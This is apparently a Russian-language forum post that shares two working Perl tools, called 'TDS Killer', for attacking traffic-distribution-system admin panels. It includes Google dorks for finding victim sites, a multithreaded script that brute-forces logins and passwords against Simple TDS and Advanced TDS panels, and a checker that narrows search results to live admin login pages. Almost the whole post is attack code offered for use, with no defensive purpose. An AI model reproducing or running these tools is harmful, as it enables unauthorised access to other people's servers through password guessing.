В файл tds.txt кладутся сами url`ы до админок TDS, в login.txt и pass.txt - логины и пароли для перебора соответственно.
Дорки для поиска жертв в Goolge:
Simple TDS - "inurl:go.php?sid="
Advanced TDS - "out.php?s_id="
BruTe

Код:
#!/usr/bin/perl -w
use threads;
use threads::shared;
use LWP::Simple;
$| = 1; 
my $num : shared;
$num = 0;
my @tds : shared;
my @tds_brute : shared;
my @tmp : shared;
##############################################
my $thr = 20;
my $tds_type = 0; #0 - Simple TDS; 1 - Advanced TDS
##############################################
my $ua = LWP::UserAgent->new; 
$ua->agent("Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a"); 
$ua->timeout(5);
print "-----------------------------------------------------------------\n";
print "           [TDS Killer] coded by daniel_1024\n";    	
print "-----------------------------------------------------------------\n";
if ($tds_type == 0) { print "[*] TDS type: Simple TDS\n"; } elsif ($tds_type == 1) { print "[*] TDS type: Advanced TDS\n"; }
open(F, "pass.txt");
while (<F>)
{
	chomp;
	push(@pass, $_);
}
close(F);
$passsize = @pass;
open(F, "tds.txt");
while (<F>)
{
	chomp;
	push(@tds, $_);
}
close(F);
$size = @tds;
$fff = localtime();
print "[*] Brute started at $fff\n[*] Sites loaded: $size\n[*] Passwords loaded: $passsize\n";
sub brute
{
	while (@tds_brute)
	{
    { lock @tds_brute; $curr = shift @tds_brute; }
    if ($tds_type == 0) 
    { 
    	($tmphost, $tmp_pass) = split(/\|/, $curr); 
    	$resp = $ua->post($tmphost,['pass'=>$tmp_pass],)->as_string;
    } elsif ($tds_type == 1) {
    	($tmphost, $tmp_pass, $tmp_log) = split(/\|/, $curr); 
    	$resp = $ua->post($tmphost,['login'=>$tmp_log, 'pass'=>$tmp_pass, 'submit'=>'Login'],)->as_string;
    }
    if ($resp =~ m/$word/) 
    { 
    	if ($tds_type == 0) { print "[!] Host: $tmphost Password: $tmp_pass\n"; }
    	elsif ($tds_type == 1) { print "[!] Host: $tmphost Login: $tmp_log Password: $tmp_pass\n"; }
    }
    { lock $num; $num++; }
    $now = time(); 
    $sec = $now-$start+1;
    $speed = sprintf("%.0f", $num/$sec);
    $proc = sprintf("%.1f", ($num/$size)*100);
    print "Status $proc%     Speed: $speed pps\r"; 
	}
}
if ($tds_type == 0) {
	for $tmppass (@pass)
	{
    for $tmpurl (@tds)
    {
    	my $tmp01 = $tmpurl.'|'.$tmppass;
    	push(@tds_brute, $tmp01);
    }
	}
} elsif ($tds_type == 1) {
	open(F,"login.txt");
	while (<F>)
	{
    if ($_) { chomp; push(@logins,$_); }
	}
	close(F);
	$logsize = @logins;
	for $tmplog (@logins)
	{
    for $tmppass (@pass)
    {
    	for $tmpurl (@tds)
    	{
        my $tmp01 = $tmpurl.'|'.$tmppass.'|'.$tmplog;
        push(@tds_brute, $tmp01);
    	}
    }	
	}
}
$size = @tds_brute;
$num = 0;
$start = time();
if ($tds_type == 0) { $word = "Simple TDS"; }
elsif ($tds_type == 1) { $word = "Admin Area"; print "[*] Logins loaded: $logsize\n";}
for(0..$thr) { $trl[$_] = threads->create(\&brute); }
for(0..$thr) { $trl[$_]->join; }
$fff = localtime();
print "\n[*] Brute finished at $fff\n";

Checker

Код:
#!/usr/bin/perl -w
use threads;
use threads::shared;
use LWP::Simple;
$| = 1; 
my $num : shared;
my @tds : shared;
my @tmp : shared;
##############################################
my $thr = 20;
my $tds_type = 0; #0 - Simple TDS; 1 - Advanced TDS
##############################################
my $ua = LWP::UserAgent->new; 
$ua->agent("Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a"); 
$ua->timeout(5);
print "-----------------------------------------------------------------\n";
print "           [TDS Killer] coded by daniel_1024\n";    	
print "-----------------------------------------------------------------\n";
if ($tds_type == 0) { print "[*] TDS type: Simple TDS\n"; } elsif ($tds_type == 1) { print "[*] TDS type: Advanced TDS\n"; }
open(F, "tds.txt");
while (<F>)
{
	chomp;
	push(@tds, $_);
}
close(F);
$size = @tds;
$num = 0;
print "[*] Sites loaded: $size\n";
if ($tds_type == 0) { $dork = "go.php?sid="; $key = 'Password: <input name="pass" type="password"'; }
elsif ($tds_type == 1) { $dork = "out.php?s_id="; $key = "Authorization"; }
for(0..$thr) { $trl[$_] = threads->create(\&check); }
for(0..$thr) { $trl[$_]->join; }
open(H, ">tds.txt"); truncate(H, tell(H)); close(H);
open(F, ">>tds.txt"); print F "$_\n" for @tmp; close(F);
@tds = @tmp;
sub check
{
	while (@tds)
	{
    { lock @tds; $curr = shift @tds; }
    if (index($curr, $dork) != -1)
    {
    	if ($tds_type == 1) { $curr =~ s/out.php\?s_id=.*/r_admin\/index.php/; }
    	elsif ($tds_type == 0) { $curr =~ s/go.php\?sid=.*/index.php/; }
    	$resp = $ua->get($curr)->as_string;
    	if ($resp =~ m/$key/)
    	{
        { lock @tmp; ; push(@tmp, $curr); }
        { lock $num; $num++; }
    	} 
    }
    print "[*] Found $num TDS...\r";
	}
}
print "\n[*] Saved in tds.txt\n";